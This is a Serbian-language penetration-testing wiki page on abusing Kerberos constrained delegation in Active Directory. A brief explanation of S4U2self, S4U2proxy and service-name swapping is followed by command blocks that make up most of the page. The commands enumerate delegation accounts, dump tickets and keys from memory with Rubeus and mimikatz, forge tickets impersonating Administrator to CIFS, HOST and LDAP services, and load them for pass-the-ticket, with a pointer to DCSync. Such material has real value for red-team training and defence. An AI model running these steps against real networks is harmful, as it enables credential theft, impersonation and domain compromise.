# Constrained Delegation

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## Constrained Delegation

Korišćenjem ovoga, administrator domena može **dozvoliti** računaru da **imitira korisnika ili računar** prema **servisu** mašine.

* **Servis za korisnika da se sam (**_**S4U2self**_**):** Ako **račun servis** ima _userAccountControl_ vrednost koja sadrži [TRUSTED\_TO\_AUTH\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) (T2A4D), onda može dobiti TGS za sebe (servis) u ime bilo kog drugog korisnika.
* **Servis za korisnika da proxy(**_**S4U2proxy**_**):** **Račun servis** može dobiti TGS u ime bilo kog korisnika za servis postavljen u **msDS-AllowedToDelegateTo.** Da bi to uradio, prvo mu je potreban TGS od tog korisnika za sebe, ali može koristiti S4U2self da dobije taj TGS pre nego što zatraži drugi.

**Napomena**: Ako je korisnik označen kao ‘_Račun je osetljiv i ne može se delegirati_’ u AD, nećete **moći da imitirate** njih.

To znači da ako **kompromitujete hash servisa** možete **imitirati korisnike** i dobiti **pristup** u njihovo ime do **konfigurisane usluge** (moguća **privesc**).

Štaviše, **nećete imati samo pristup usluzi koju korisnik može imitirati, već i bilo kojoj usluzi** jer se SPN (ime usluge koja se zahteva) ne proverava, samo privilegije. Stoga, ako imate pristup **CIFS servisu** možete takođe imati pristup **HOST servisu** koristeći `/altservice` flag u Rubeus-u.

Takođe, **pristup LDAP servisu na DC**, je ono što je potrebno za eksploataciju **DCSync**.

{% code title="Enumerate" %}
```bash
# Powerview
Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto

#ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
```
{% endcode %}

{% code title="Dobij TGT" %}
```bash
# The first step is to get a TGT of the service that can impersonate others
## If you are SYSTEM in the server, you might take it from memory
.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap

# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one
## Get AES/RC4 with mimikatz
mimikatz sekurlsa::ekeys

## Request with aes
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap

# Request with RC4
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
```
{% endcode %}

{% hint style="warning" %}
Postoje **drugi načini za dobijanje TGT karte** ili **RC4** ili **AES256** bez da budete SYSTEM na računaru, kao što su Printer Bug i nekontrolisana delegacija, NTLM preusmeravanje i zloupotreba Active Directory Certificate Service.

**Samo posedujući tu TGT kartu (ili heš) možete izvršiti ovaj napad bez kompromitovanja celog računara.**
{% endhint %}

{% code title="Using Rubeus" %}
```bash
#Obtain a TGS of the Administrator user to self
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator

#Obtain service TGS impersonating Administrator (CIFS)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS

#Impersonate Administrator on different service (HOST)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST

# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2)
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap

#Load ticket in memory
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
```
{% endcode %}

{% code title="kekeo + Mimikatz" %}
```bash
#Obtain a TGT for the Constained allowed user
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d

#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL

#Load the TGS in memory
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'
```
{% endcode %}

[**Više informacija na ired.team.**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation)

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